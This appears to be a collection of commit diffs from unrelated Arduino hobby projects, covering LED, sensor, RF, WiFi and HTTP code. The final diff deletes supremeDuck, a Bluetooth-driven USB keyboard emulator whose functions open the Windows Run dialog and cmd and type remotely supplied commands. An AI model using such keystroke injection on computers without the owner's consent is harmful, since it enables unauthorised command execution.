       // delay( 500);
@@ -243,10 +420,10 @@
 // horizontally to the lower right corner, going up a row and continuing back to the left, going up a row and continuing
 // to the right, etc.

-int point2seq( struct point_s aPt, struct point_s anOrigin, struct point_s aGridSize)
+int point2seq( struct point aPt, struct point anOrigin, struct point aGridSize)
 {
    int retval;
-   struct point_s pt0 = aPt;
+   struct point pt0 = aPt;

    // Transform to zero-based point.
    pt0.x -= anOrigin.x;
@@ -315,9 +492,9 @@
 // hue in degrees
 // sat, light in range [0..1]

-struct rgb_s hsl2rgb( int aHue, float aSat, float aLight)
-{
-   rgb_s retval;
+struct rgbTriple hsl2rgb( int aHue, float aSat, float aLight)
+{
+   struct rgbTriple retval;

    float m1, m2, r, g, b;

@@ -344,58 +521,27 @@
    return retval;
 }

-// hsl2rgb, hue2rgb commented out in favor of new versions
-
-// // ---------------------------------------------------------------------------------------------------------------------
-// //  hsl2rgb
-// // ---------------------------------------------------------------------------------------------------------------------
-
-// // CSS3 spec algorithm: http://www.w3.org/TR/2011/REC-css3-color-20110607/#hsl-color
-// // All params in range [0.0..1.0]
-
-// void hsl2rgb( float hue, float sat, float light, float *r, float *g, float *b)
-// {
-//    float m1, m2;
-
-//    if (light < 0.5)
-//       m2 = light * (sat + 1.0);
-//    else
-//       m2 = light + sat - light * sat;
-//    m1 = light * 2.0 - m2;
-//    *r = hue2rgb( m1, m2, hue + 1.0/3.0);
-//    *g = hue2rgb( m1, m2, hue);
-//    *b = hue2rgb( m1, m2, hue - 1.0/3.0);
-// }
-
-// // ---------------------------------------------------------------------------------------------------------------------
-// //  hue2rgb (internal helper function)
-// // ---------------------------------------------------------------------------------------------------------------------
-
-// // CSS3 spec algorithm: http://www.w3.org/TR/2011/REC-css3-color-20110607/#hsl-color
-
-// float hue2rgb( float m1, float m2, float hue )
-// {
-//    float retval;
-//    float h = hue;
-
-//    if (hue < 0.0)
-//       h = hue + 1.0;
-//    else if (hue > 1.0)
-//       h = hue - 1.0;
-//    else
-//       h = hue;
-
-//    if (h * 6.0 < 1.0)
-//       retval = m1 + (m2 - m1) * h * 6.0;
-//    else if (h * 2.0 < 1.0)
-//       retval = m2;
-//    else if (h * 3.0 < 2.0)
-//       retval = m1 + (m2 - m1) * (2.0 / 3.0 - h) * 6.0;
-//    else
-//       retval = m1;
-
-//    return retval;
-// }
+// ---------------------------------------------------------------------------------------------------------------------
+//  copyIntArray
+// ---------------------------------------------------------------------------------------------------------------------
+
+void copyIntArray( int aSrc[], int aDest[], int n)
+{
+   int i;
+   for (i = 0; i < n; i++)
+      aDest[i] = aSrc[i];
+}
+
+// ---------------------------------------------------------------------------------------------------------------------
+//  copyFloatArray
+// ---------------------------------------------------------------------------------------------------------------------
+
+void copyFloatArray( float aSrc[], float aDest[], int n)
+{
+   int i;
+   for (i = 0; i < n; i++)
+      aDest[i] = aSrc[i];
+}

 // ---------------------------------------------------------------------------------------------------------------------
 //  Helper functions


Added code to provide REST service when connected to WiFi.

--- mqttHA_Point/mqttHA_Point.ino
+++ mqttHA_Point/mqttHA_Point.ino
@@ -18,7 +18,7 @@
 char red[5];
 const char* mqttUser = "mqttUser";
 const char* mqttPw = "mqttuser";
-const char* ssid = "test";
+const char* ssid = "redDevice";
 const char* passphrase = "testpassword";
 String esid;
 String epass = "";
@@ -363,21 +363,82 @@
         }
         server.send(statusCode, "application/json", content);
     });
-  } else if (webtype == 0) {
+  }
+//............................................................................................................................................
+  else if (webtype == 0) {
     Serial.println("");
     Serial.println("webtype 0 selected");
     server.on("/", []() {
+      content = "<!DOCTYPE HTML>";
+      content += "";
+      content += " <meta charset='utf-8'> <meta http-equiv='X-UA-Compatible' content='IE=edge'> <title></title> <meta name='description' content=''> <meta name='viewport' content='width=device-width, initial-scale=1'> <link rel='stylesheet' href=''> ";
+      content += "";
+      content += "";
+      content += "

Welcome to redDevice

";
+      content += "
<button id ='onButton' style='background:'#f5f5f0' onclick='turnOn()'>ON</button>
";
+      content += "
<button id ='offButton' style='background:'#f5f5f0' onclick='turnOff()'>OFF</button>
";
+      content += "";
+      content += "";
+      content += "";
+      server.send(200, "text/html", content);
+    });
+    server.on("/ip_address", []() {
       IPAddress ip = WiFi.localIP();
       String ipStr = String(ip[0]) + '.' + String(ip[1]) + '.' + String(ip[2]) + '.' + String(ip[3]);
       server.send(200, "application/json", "{\"IP\":\"" + ipStr + "\"}");
     });
-    server.on("/cleareeprom", []() {
+    server.on("/clear_eeprom", []() {
       content = "<!DOCTYPE HTML>\r\n";
       content += "
Clearing the EEPROM
";
       server.send(200, "text/html", content);
       Serial.println("clearing eeprom");
       for (int i = 0; i < 128; ++i) { EEPROM.write(i, 0); }
       EEPROM.commit();
+    });
+    server.on("/blink", []() {
+      //server.send(200, "application/json", "{\"Response\":\"Blinking\"}");
+      for (int cnt =0;cnt<=10;cnt++)
+      {
+        digitalWrite(LED_BUILTIN, LOW);
+        delay(100);
+        digitalWrite(LED_BUILTIN, HIGH);
+        delay(100);
+      }
+      server.send(200, "application/json", "{\"Response\":\"Blinked\"}");
+    });
+    server.on("/on", []() {
+      digitalWrite(LED_BUILTIN, LOW);
+      server.send(200, "application/json", "{\"Response\":\"LED On\"}");
+    });
+    server.on("/off", []() {
+      digitalWrite(LED_BUILTIN, HIGH);
+      server.send(200, "application/json", "{\"Response\":\"LED Off\"}");
     });
   }
 }
@@ -506,10 +567,10 @@

 //  char egIP[16] = "192.168.0.68";
 //  char egsubnet[16] = "255.255.255.0";
-  char eggateway[16] = "192.168.0.1";
-  char egdns[16] = "8.8.8.8";
-  char *digits;
-  int k;
+//  char eggateway[16] = "192.168.0.1";
+//  char egdns[16] = "8.8.8.8";
+//  char *digits;
+//  int k;
 //  digits = strtok(egIP, ".");
 //  int k = 129;
 //  while(digits != NULL ) {
@@ -528,29 +589,29 @@
 //      digits = strtok(NULL, ".");
 //   }

-  digits = strtok(eggateway, ".");
-  k = 137;
-  while(digits != NULL ) {
-      Serial.println(atoi(digits));
-      EEPROM.write(k,atoi(digits));
-      k++;
-      digits = strtok(NULL, ".");
-   }
-
-  digits = strtok(egdns, ".");
-  k = 141;
-  while(digits != NULL ) {
-      Serial.println(atoi(digits));
-      EEPROM.write(k,atoi(digits));
-      k++;
-      digits = strtok(NULL, ".");
-   }
+//  digits = strtok(eggateway, ".");
+//  k = 137;
+//  while(digits != NULL ) {
+//      Serial.println(atoi(digits));
+//      EEPROM.write(k,atoi(digits));
+//      k++;
+//      digits = strtok(NULL, ".");
+//   }
+//
+//  digits = strtok(egdns, ".");
+//  k = 141;
+//  while(digits != NULL ) {
+//      Serial.println(atoi(digits));
+//      EEPROM.write(k,atoi(digits));
+//      k++;
+//      digits = strtok(NULL, ".");
+//   }
 //  for (int i = 129; i < 133; ++i)
 //  {
 //    Serial.println(EEPROM.read(i));
 //  }

-  WiFi.begin();
+//  WiFi.begin();
   delay(1000);
   Serial.println("");
   Serial.println("delay done");
@@ -586,7 +647,12 @@
         delay(10);
       }
   }
-
+  launchWeb(0);
+   while(1)
+      {
+        server.handleClient();
+        delay(10);
+      }
 //  if (digitalRead(4)==false)
 //  {
 //    Serial.println("button pressed at beginning");


added calibration phase to the transmitter code

--- src/transmit/transmit.ino
+++ src/transmit/transmit.ino
@@ -1,22 +1,23 @@
 #include <RFM69.h>

 // Turnon-specific settings
-#define TURNON_NETWORK_ID         69
-#define TURNON_CLIENT_ADDRESS     1
-#define TURNON_SERVER_ADDRESS     2
-#define TURNON_FREQUENCY          RF69_433MHZ
-#define TURNON_SENSOR_PIN         0
-#define TURNON_POT_LEFT_PIN       1
-#define TURNON_POT_RIGHT_PIN      2
-#define TURNON_POT_RANGE_SIZE     1024
-#define TURNON_TX_LED_PIN         9
-#define TURNON_FLOWER_RED_PIN     3
-#define TURNON_FLOWER_GREEN_PIN   4
-#define TURNON_FLOWER_BLUE_PIN    5
-#define TURNON_SQUEEZE_THRESHOLD  75
-#define TURNON_CYCLE_DURATION     250
-#define TURNON_HOLD_MILLIS        3000
-#define TURNON_ACK_TIMEOUT        2000
+#define TURNON_NETWORK_ID             69
+#define TURNON_CLIENT_ADDRESS         1
+#define TURNON_SERVER_ADDRESS         2
+#define TURNON_FREQUENCY              RF69_433MHZ
+#define TURNON_SENSOR_PIN             0
+#define TURNON_POT_LEFT_PIN           1
+#define TURNON_POT_RIGHT_PIN          2
+#define TURNON_POT_RANGE_SIZE         1024
+#define TURNON_TX_LED_PIN             9
+#define TURNON_FLOWER_RED_PIN         3
+#define TURNON_FLOWER_GREEN_PIN       4
+#define TURNON_FLOWER_BLUE_PIN        5
+#define TURNON_CALIBRATION_DURATION   5000
+#define TURNON_SQUEEZE_THRESHOLD      20
+#define TURNON_CYCLE_DURATION         250
+#define TURNON_HOLD_MILLIS            3000
+#define TURNON_ACK_TIMEOUT            2000

 #define TURNON_CHANGE_BIT         0
 #define TURNON_STATE_RED_BIT      1
@@ -27,26 +28,35 @@
 int   heldMillis        = 0;
 byte  currentState      = 0;

+// calibration variables
+int   calibrationIteration  = 0;
+int   avgIdlePressure       = 0;
+bool  isCalibrating         = false;
+
 RFM69 radio;

 void setup() {
+//  Serial.begin(9600);
   pinMode(TURNON_TX_LED_PIN,        OUTPUT);
   pinMode(TURNON_FLOWER_RED_PIN,    OUTPUT);
   pinMode(TURNON_FLOWER_GREEN_PIN,  OUTPUT);
   pinMode(TURNON_FLOWER_BLUE_PIN,   OUTPUT);
-
+
   initRadio();
+
+  // Start in calibration mode
+  isCalibrating = true;
 }

 void loop() {
-  int   sensorValue       = analogRead(TURNON_SENSOR_PIN);
-  int   potLeftValue      = analogRead(TURNON_POT_LEFT_PIN);
-  int   potRightValue     = analogRead(TURNON_POT_RIGHT_PIN);
-  byte  colorBit          = potValuesToColorBit(potLeftValue, potRightValue);
-
-  updateCurrentState(sensorValue, colorBit);
-  updateFlowerColor();
-  broadcastCurrentStateIfChanged();
+  int sensorValue = analogRead(TURNON_SENSOR_PIN);
+
+  if(isCalibrating) {
+    runCalibrationMode(sensorValue);
+  } else {
+    runSenseMode(sensorValue);
+  }
+
   delay(TURNON_CYCLE_DURATION);
 }

@@ -56,8 +66,8 @@

 // Initializes the Radio
 void initRadio() {
-  bool radioInitialized = radio.initialize( TURNON_FREQUENCY,
-                                            TURNON_CLIENT_ADDRESS,
+  bool radioInitialized = radio.initialize( TURNON_FREQUENCY,
+                                            TURNON_CLIENT_ADDRESS,
                                             TURNON_NETWORK_ID);

@@ -66,12 +76,37 @@
   }
 }

+void runSenseMode(int sensorValue) {
+  int   potLeftValue      = analogRead(TURNON_POT_LEFT_PIN);
+  int   potRightValue     = analogRead(TURNON_POT_RIGHT_PIN);
+  byte  colorBit          = potValuesToColorBit(potLeftValue, potRightValue);
+
+  updateCurrentState(sensorValue, colorBit);
+  updateFlowerColor();
+  broadcastCurrentStateIfChanged();
+}
+
+void runCalibrationMode(int sensorValue) {
+  avgIdlePressure =
+    (calibrationIteration * avgIdlePressure + sensorValue) /
+    (calibrationIteration + 1);
+
+  calibrationDuration = TURNON_CYCLE_DURATION * calibrationIteration;
+
+  if(calibrationDuration >= TURNON_CALIBRATION_DURATION) {
+    isCalibrating = false;
+  }
+
+  calibrationIteration++;
+}
+
 // Given the sensor value, this function computes the current state
 // of the transmitter.
 void updateCurrentState(int sensorValue, byte colorBit) {
+//  Serial.println(sensorValue);

   // We've met the squeeze threshold.
-  if(sensorValue > TURNON_SQUEEZE_THRESHOLD) {
+  if(sensorValue > avgIdlePressure + TURNON_SQUEEZE_THRESHOLD) {
     heldMillis += TURNON_CYCLE_DURATION;

     // We've squeezed for a duration of at least TURNON_HOLD_MILLIS
@@ -82,14 +117,14 @@
       // reset the current state
       if(colorBit == 0) {

-        // Turn-off all color bits
+        // Turn-off all color bits
         currentState = bit(TURNON_CHANGE_BIT);
       } else {
-
+
         // Turn on the change state bit
         bitSet(currentState, TURNON_CHANGE_BIT);
-
-        // Flip the color state bit
+
+        // Flip the color state bit
         currentState ^= bit(colorBit);
       }
     }
@@ -100,33 +135,33 @@

 // Update the flower LED colors
 void updateFlowerColor() {
-  digitalWrite( TURNON_FLOWER_RED_PIN,
+  digitalWrite( TURNON_FLOWER_RED_PIN,
                 bitRead(currentState, TURNON_STATE_RED_BIT));
-
-  digitalWrite( TURNON_FLOWER_GREEN_PIN,
+
+  digitalWrite( TURNON_FLOWER_GREEN_PIN,
                 bitRead(currentState, TURNON_STATE_GREEN_BIT));
-
-  digitalWrite( TURNON_FLOWER_BLUE_PIN,
+
+  digitalWrite( TURNON_FLOWER_BLUE_PIN,
                 bitRead(currentState, TURNON_STATE_BLUE_BIT));
 }

 // Broadcasts the hold state bit, if our state changed.
 void broadcastCurrentStateIfChanged() {

-  // if the change state bit is on...
+  // if the change state bit is on...
   if(currentState & bit(TURNON_CHANGE_BIT)) {
     onTxBegin();
-
+
     // turn off the change state bit
     bitClear(currentState, TURNON_CHANGE_BIT);

     // Shift-off the Change State Bit, leaving just the
     // color bits.
     byte message[]  = { getColorBits() };
-    radio.sendWithRetry(TURNON_SERVER_ADDRESS,
-                        message,
+    radio.sendWithRetry(TURNON_SERVER_ADDRESS,
+                        message,
                         sizeof(message));
-
+
     radio.receiveDone();
     onTxEnd();
   }
@@ -149,7 +184,7 @@
   byte  colorBit        = 0;
   byte  potLeftState    = thresholdPotValue(potLeftValue);
   byte  potRightState   = thresholdPotValue(potRightValue);
-
+
   bitWrite(colorBit, 0, potRightState);
   bitWrite(colorBit, 1, potLeftState);

@@ -159,4 +194,3 @@
 byte getColorBits() {
   return currentState >> 1;
 }
-


Making code pretty

Making code pretty

--- sensing/controller.ino
+++ sensing/controller.ino
@@ -11,15 +11,19 @@

 */

-//Função        COLOR Arduino
-//GND   marrom escuro     GND
-//Chuva  marrom claro      D6
-//Vazio  verde escuro       -
-//Temp    verde claro      D7
-//Rxwifi   azul claro      D4
-//Txwifi  azul escuro      D5
-//Vcc         laranja     Vcc
-//Luz          branco      A3
+/*** Pinout used on a 6-way cable:
+Function      Pin   WireColor
+GND           GND   DarkBrown
+RainSensor    D6    LightBrown
+TempHumSensor D7    LightGreen
+WiFiRx        D4    LightBlue
+WiFiTx        D5    DarkBlue
+Vcc           Vcc   Orange
+Light         A3    White
+Empty         -     DarkGreen
+
+The GPS is a shield, not connected through cable.
+*/

 #include <avr/pgmspace.h>
 #include <SoftwareSerial.h>
@@ -108,16 +112,9 @@
 void start_file() {
   strcpy_P(buffer, (char*)pgm_read_word(&(string_table[0])));
   SD.remove(buffer);
-  //if (SD.begin(10)) {
-    strcpy_P(buffer, (char*)pgm_read_word(&(string_table[0])));
-    File data_file = SD.open(buffer, FILE_WRITE);
-    data_file.close();
-  //}
- #if DEBUG
-  /*else{
-  print_debug(12); //File start failure
-  }*/
-#endif
+  strcpy_P(buffer, (char*)pgm_read_word(&(string_table[0])));
+  File data_file = SD.open(buffer, FILE_WRITE);
+  data_file.close();
 }

 #if DEBUG
@@ -134,7 +131,9 @@

   pinMode(10, OUTPUT);
   if (!SD.begin(10)) {
+#if DEBUG
     print_debug(12);
+#endif
     return;
   }
   start_file();
@@ -297,4 +296,4 @@
      }
 #endif
   }
-}
+}


added bpm and numSteps control/draw

added bpm and numSteps control/draw


Updates to HTTP post code--works well now

--- scatdat_v2/scatdat_v2.ino
+++ scatdat_v2/scatdat_v2.ino
@@ -19,8 +19,7 @@
 /////////////////////////////
 // Remote Site Definitions //
 /////////////////////////////
-// const char http_site[] = "scatdat.earth.planet.com";
-const char http_site[] = "";
+const char http_site[] = "scatdat.earth.planet.com";
 const int http_port = 5000;

 /////////////////////
@@ -70,7 +69,7 @@
 bool postEvent(int doorOpen,int battmV) {
   char paramString[256];
   Serial.println("Attempting to connect to");
-  sprintf(paramString,"%s:%i",http_site,http_port);
+  sprintf(paramString, "%s:%i", http_site, http_port);
   Serial.println(paramString);

   // Attempt to make a connection to the remote server
@@ -78,16 +77,13 @@
     return false;
   }
   // Construct parameter string
-  sprintf(paramString,"?stallId=%s&doorOpen=%i&battV=%i",STALL_ID,doorOpen,battmV);
+  sprintf(paramString, "POST /events?stall_id=%s&door_open=%i&batt_v=%i HTTP/1.1", STALL_ID, doorOpen, battmV);
   // Make an HTTP GET request
-  client.print("GET /newdata");
-  client.print(paramString);
-  client.println(" HTTP/1.1");
+  client.println(paramString);
   client.print("Host: ");
   client.println(http_site);
   client.println("Connection: close");
   client.println();
-
   return true;
 }

@@ -131,7 +127,7 @@
   pinMode(LED_PIN, OUTPUT);
   digitalWrite(LED_PIN, LOW);

-  for (int i = 0; i < 50; ++i)
+  for (int i = 0; i < 25; ++i)
   {
     Serial.println("in loop");
     Serial.println(i);


Fixed scanning for 1/16 displays

Fixed scanning for 1/16 displays

--- game/game.ino
+++ game/game.ino
@@ -360,7 +360,7 @@
     pew pew pew pew pew pew pew pew
     pew pew pew pew pew pew pew pew
     pew pew pew pew pew pew pew pew
-#ifdef E
+#ifndef E
     line1 = &lines[1 * WIDTH];
     line2 = &lines[0 * WIDTH];


Added a handler for a reset event so the remote can send a reset command.

--- src/BoxBeatsPhoton.ino
+++ src/BoxBeatsPhoton.ino
@@ -71,12 +71,13 @@

     Particle.subscribe("NEXT_MODE", handleNextMode);
     Particle.subscribe("PREVIOUS_MODE", handlePreviousMode);
+    Particle.subscribe("RESET", handleReset);
 }

 int resetDevice(String arg) {
    System.reset();

-   return 1;
+   return 0;
 }

 int enterSafeMode(String arg) {
@@ -118,6 +119,10 @@

 void handlePreviousMode(const char *eventName, const char *data) {
     previousMode("seriouslyWhy?");
+}
+
+void handleReset(const char *eventName, const char *data) {
+  resetDevice("whatever");
 }

 //Expects rgb values to be in r,g,b format e.g. 140,200,90


Use strtoul instead of atoi to parse a long integer

--- arduino/rflink/rflink.ino
+++ arduino/rflink/rflink.ino
@@ -195,7 +195,7 @@
 {
     uint32_t time = millis() + time_offset;
     if (argc == 2) {
-        time = atoi(argv[1]);
+        time = strtoul(argv[1], NULL, 0);
         // recalculate time offset
         time_offset = time - millis();
     }


Syncing code.

Syncing code.

--- arduino/strainGauge/strainGauge.ino
+++ arduino/strainGauge/strainGauge.ino
@@ -37,9 +37,9 @@
 	//Setting the test pin high enables direct writing of internal registers and stops transactions with External EEPROM
 	pga.enableTestPin();
 	delay(100);
+	// pga.setRegisters(0.060353, 0.936138, 0.0, 128, 9);
+	// pga.writeRegisters();
 	// eeprom.clear();
-	pga.setRegisters(0.060353, 0.936138, 0.0, 128, 9);
-	pga.writeRegisters();
 	// util::WriteToMultiEEPROM(&eeprom, memData, memToWriteToReadFrom,  (sizeof(memToWriteToReadFrom)/sizeof(int)));
 	// util::ReadFromMultEEPROM(&eeprom, memToWriteToReadFrom, (sizeof(memToWriteToReadFrom)/sizeof(int)));
 	// delay(1000);
@@ -51,14 +51,14 @@
 	Serial.print("Status of writing to the ADS internal register:");
 	Serial.println(ads.write(ADSREG));
 	delay(100);
-	// pga.disableTestPin();
-	// delay(100);
-	util::ReadFromMultRegisters(&pga, regToReadFrom, (sizeof(regToReadFrom)/sizeof(int)));
+	pga.disableTestPin();
+	delay(100);
+	// util::ReadFromMultRegisters(&pga, regToReadFrom, (sizeof(regToReadFrom)/sizeof(int)));
 }

 void loop(){
 	// util::printMenu();
-	// util::ReadADSData(&ads, ADSData);
+	util::ReadADSData(&ads, ADSData);
 	// util::ReadErrorREG(&pga);
-	// util::ReadFromMultRegisters(&pga, regToReadFrom, (sizeof(regToReadFrom)/sizeof(int)));
+	util::ReadFromMultRegisters(&pga, regToReadFrom, (sizeof(regToReadFrom)/sizeof(int)));
 }


Delete supremeDuck.ino

Delete supremeDuck.ino

--- source/supremeDuck.ino
+++ source/supremeDuck.ino
@@ -1,893 +0,0 @@
-
-/*
-supremeDuck project - https://www.youtube.com/user/MichalMonday
-Created by Michal Borowski
-*/
-
-
-/*
- *
- *
- *
- */
-
-#include <SoftwareSerial.h>
-#include "Keyboard.h"
-#include "Mouse.h"
-#include <EEPROM.h>
-
-#define LOG_SAVED_ENCODING_EEPROM false
-#define LOG_SERIAL true //setting to true makes mouse movement laggy if the serial monitor isn't open
-
-#define HC_BAUDRATE 9600 //(default baud rate of hc-06)
-
-/*
-#define EEPROM_ADDRESS_TRIGGER_TRICK 0
-trick = plug it in + plug out within 3 secs = special function is triggered(that special function is commented out in "setup" funciton)
-*/
-
-//add comma check in app or solve the bug (if data received by arduino ends with ",,end" instead of standard ",end" arduino won't respond)
-
-
-//https://www.arduino.cc/en/Reference/KeyboardModifiers
-
-//SoftwareSerial BTSerial(16, 15);
-//SoftwareSerial BTSerial(9, 8); // RX | TX these are pins responsible for communication between the bluetooth module and arduino
-SoftwareSerial BTSerial(8, 9); //old pinout (less comfortable to solder, now only 1 of these devices has it this way)
-
-#define MAX_SERIAL_LENGTH 200 //if you'd like to make it greater than 255 make sure to replace "byte" with "int" inside every "for loop"
-char inSerial[MAX_SERIAL_LENGTH]; //it will contain the text sent from bluetooth module and received in arduino
-
-#define ENCODING_BYTE_DESIRED 0
-#define ENCODING_BYTE_USED 1
-#define ENCODING_BYTE_MODIFIER 2
-#define ENCODING_SIZE 72
-byte Encoding[3][ENCODING_SIZE] = { //definition only applies to new devices where encoding isn't saved at EEPROM yet. By default it's US keyboard encoding
-  {0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, 0x40, 0x41, 0x4D, 0x51, 0x57, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F, 0x60, 0x61, 0x69, 0x6D, 0x71, 0x77, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E},
-  {0x31, 0x22, 0x33, 0x34, 0x35, 0x37, 0x22, 0x39, 0x30, 0x38, 0x3D, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3B, 0x3B, 0x2C, 0x3D, 0x2E, 0x2F, 0x32, 0x61, 0x6D, 0x71, 0x77, 0x79, 0x7A, 0x5B, 0x5C, 0x5D, 0x36, 0x2D, 0x7E, 0x61, 0x69, 0x6D, 0x71, 0x77, 0x79, 0x7A, 0x5B, 0x5C, 0x5D, 0x7E},
-  {0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x00, 0x81, 0x81, 0x81, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x81, 0x00, 0x81, 0x00, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x00, 0x00, 0x00, 0x81, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x81, 0x81, 0x81, 0x81}
-}; //saved at EEPROM 1-100, 101-200, 201-300
-
-
-#define EEPROM_STARTING_ADDRESS_ENCODING_DESIRED 1
-#define EEPROM_STARTING_ADDRESS_ENCODING_USED 101
-#define EEPROM_STARTING_ADDRESS_ENCODING_MODIFIER 201
-bool useMultiLangWindowsMethod = true;
-#define EEPROM_ADDRESS_USE_MULTI_LANG_METHOD_WINDOWS 301
-#define EEPROM_STARTING_ADDRESS_ENCODING_NAME 302
-
-/*
- * keypad values copied from http://forum.arduino.cc/index.php?topic=266688.msg1880647#msg1880647
- * thanks to nickgammon's reply
- */
-
-byte KEYPAD[10] = {
-  234,
-  225,
-  226,
-  227,
-  228,
-  229,
-  230,
-  231,
-  232,
-  233
-};
-
-unsigned long previousSendingTime = 0; // used for sending setting data updates to the phone (current keyboard encoding, multilang thing)
-char encodingName[30];
-
-
-void setup()
-{
-  BTSerial.begin(HC_BAUDRATE);  //
-  Keyboard.begin();
-  Mouse.begin();
-
-  Serial.begin(9600);
-
-  /*
-  //TRIGGER TRICK
-  //plug in and out within 3 sec to trigger some action at the next plug in
-  byte triggerDefault = 0;
-  EEPROM.get(EEPROM_ADDRESS_TRIGGER_TRICK, triggerDefault);
-  byte c =1;
-  EEPROM.put(EEPROM_ADDRESS_TRIGGER_TRICK, c);
-  if(triggerDefault == 1)
-  {
-    //action
-  }
-
-  delay(3000);
-  c =0;
-  EEPROM.put(EEPROM_ADDRESS_TRIGGER_TRICK, c);
-  */
-
-  /*
-  delay(7000);
-
-  for(byte i=0;i<255;i++)
-  {
-    Keyboard.print(i);
-    Keyboard.print("-");
-    Keyboard.print((char)i);
-    Keyboard.print(", ");
-
-    delay(100);
-  }
-  */
-
-  //delay(7000);
-  //Keyboard.press((char)175);
-  //delay(15);
-  //Keyboard.releaseAll();
-
-  /*
-  Keyboard.press(KEY_LEFT_ALT);
-  delay(20);
-  Keyboard.press(KEYPAD_9);
-  delay(20);
-  Keyboard.release(KEYPAD_9);
-  delay(20);
-  Keyboard.press(KEYPAD_2);
-  delay(20);
-  Keyboard.release(KEYPAD_2);
-  delay(20);
-  Keyboard.releaseAll();
-  */
-
-  //delay(10000);
-  SavedEncodingAvailabilityCheck(); //rewrites the default US encoding with the saved one
-  SavedMultiLangMethodWindowsCheck(); //checks whether to use the alt+numpad method
-}
-
-
-void loop()
-{
-  byte i=0;
-  if (BTSerial.available() > 0)
-  {
-    unsigned long previousByteRec = millis();
-    unsigned long lastByteRec = millis();
-    while (100 > lastByteRec - previousByteRec)
-    {
-      lastByteRec = millis();
-
-      while (BTSerial.available() > 0 && i < MAX_SERIAL_LENGTH-1)
-      {
-        inSerial[i]=BTSerial.read();
-        i++;
-
-        if(i == 16)
-        {
-          if(StrStartsWith(inSerial, "MM:") && StrEndsWith(inSerial, ",end")){if(LOG_SERIAL){Serial.println(inSerial);} inSerial[i]='\0'; MyFuncMouseMove(inSerial);i = 0;}//MM:L,U,3,1,end (mouse movement)
-        }
-        previousByteRec = lastByteRec;
-      }
-    }
-
-    inSerial[i]='\0';
-    if(LOG_SERIAL){Serial.write(inSerial);} //it's useful for checking what text arduino receives from android but it makes the mouse movement laggy if the serial monitor is closed
-    Serial.write(F("\n"));
-
-    Check_Protocol(inSerial);
-  }
-
-  unsigned long lastSendingTime = millis();
-  if(lastSendingTime - previousSendingTime > 1000)
-  {
-      previousSendingTime = lastSendingTime;
-      char data[40];
-      sprintf(data,"data=%i,%s,end", useMultiLangWindowsMethod,encodingName);
-      BTSerial.write(data);
-      for(byte i=0;i<40;i++){data[i]=0;}
-  }
-}
-
-void SavedMultiLangMethodWindowsCheck()
-{
-  EEPROM.get(EEPROM_ADDRESS_USE_MULTI_LANG_METHOD_WINDOWS, useMultiLangWindowsMethod);
-  if(LOG_SERIAL)
-  {
-    Serial.print(F("MultiLang method (Windows only) setting has been read from the EEPROM - "));
-    if(useMultiLangWindowsMethod)
-    {
-      Serial.println(F("it's enabled."));
-    }
-    else
-    {
-      Serial.println(F("it's disabled."));
-    }
-  }
-}
-
-void SavedEncodingAvailabilityCheck() //rewrites the default US encoding with the one which was used last time
-{
-  byte b;
-  EEPROM.get(EEPROM_STARTING_ADDRESS_ENCODING_DESIRED, b);
-  if(b > 0)
-  {
-    for(byte i=0;i<3; i++)
-    {
-      for(byte offset=0; offset<ENCODING_SIZE; offset++)
-      {
-        EEPROM.get(offset+1+(ENCODING_SIZE*i), Encoding[i][offset]); //+1 because the 0 address holds trigger bool for tricky activation method
-        if(LOG_SAVED_ENCODING_EEPROM)
-        {
-          Serial.print(Encoding[i][offset], HEX);
-          Serial.print(",");
-        }
-      }
-
-      if(LOG_SAVED_ENCODING_EEPROM){Serial.print("\n");}
-    }
-
-    EEPROM.get(EEPROM_STARTING_ADDRESS_ENCODING_NAME, encodingName);
-  }
-  else if(LOG_SAVED_ENCODING_EEPROM)
-  {
-    Serial.print("No encoding available");
-    Serial.print("\n");
-  }
-}
-
-void MyFuncMouseMove(char *inStr)
-{
-  char x;
-  char y;
-
-  //MM:L,U,FF,FF,end
-  char strValBuff[3]={inStr[7],inStr[8],'\0'};
-  x = (char)strtoul((char*)strtok(strValBuff, " "),NULL,16);
-
-  strValBuff[0]=inStr[10];
-  strValBuff[1]=inStr[11];
-  y = (char)strtoul((char*)strtok(strValBuff, " "),NULL,16);
-
- //MM:L,U,FF,FF,end //left/right, up/down, horizontal value, vertical value
-  if(inStr[3] == 'L'){x = x * -1;}
-  if(inStr[5] == 'D'){y = y * -1;}
-
-  if(LOG_SERIAL){Serial.print("    x="); Serial.print((byte)x);Serial.print(", y=");Serial.print((byte)y);Serial.print("\n");}
-  Mouse.move(x, y, 0);
-
-  for(byte i=0;i<strlen(inStr);i++){inStr[i]=0;}
-}
-
-void typeKey(int key)
-{
-  Keyboard.press(key);
-  delay(50);
-  Keyboard.release(key);
-}
-
-void openRun()
-{
-  Keyboard.press(KEY_LEFT_GUI);
-  delay(200);
-  Keyboard.press('r');
-  delay(200);
-  Keyboard.releaseAll();
-  delay(700);
-}
-
-void openCmd()
-{
-  openRun();
-  Print("cmd");
-  typeKey(KEY_RETURN);
-}
-
-void EnterCommand(char *text)
-{
-  Print(text);
-  delay(10);
-  typeKey(KEY_RETURN);
-}
-
-void Check_Protocol(char *inStr)
-{
-  if(!strcmp(inStr,"Enter"))
-  {
-    typeKey(KEY_RETURN);
-  }
-
-  if(!strcmp(inStr,"Alt+F4"))
-  {
-    Keyboard.press(KEY_LEFT_ALT);
-    delay(10);
-    Keyboard.press(KEY_F4);
-    delay(50);
-    Keyboard.releaseAll();
-  }
-
-  if(!strcmp(inStr,"Increase font size"))
-  {
-    Keyboard.press(KEY_LEFT_CTRL);
-    delay(10);
